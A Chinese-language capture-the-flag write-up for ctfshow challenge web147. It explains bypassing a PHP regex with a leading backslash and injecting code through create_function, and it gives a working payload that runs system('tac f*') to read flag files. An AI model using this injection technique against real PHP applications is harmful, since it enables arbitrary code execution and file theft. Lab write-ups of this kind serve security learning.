ctfshow web147(create_function函数命令执行)
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
首先第一个知识点:
正则绕过很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。最后full以后找到了 \ 这个字符。原理
第二个知识点:
create_function()代码注入
create_function('$a','echo $a."123"')
类似于
function f($a) {
echo $a."123";
}
那么如果我们第二个参数传入 echo 1;}phpinfo();//就等价于
function f($a) {
echo 1;}phpinfo();//
}
从而执行phpinfo()命令
因此可以达到我们的任意代码执行。
payload:
get: show=echo 123;}system('tac f*');//
post: ctf=%5ccreate_function
参考链接:https://blog.csdn.net/miuzzx/article/details/109197158?spm=1001.2014.3001.5502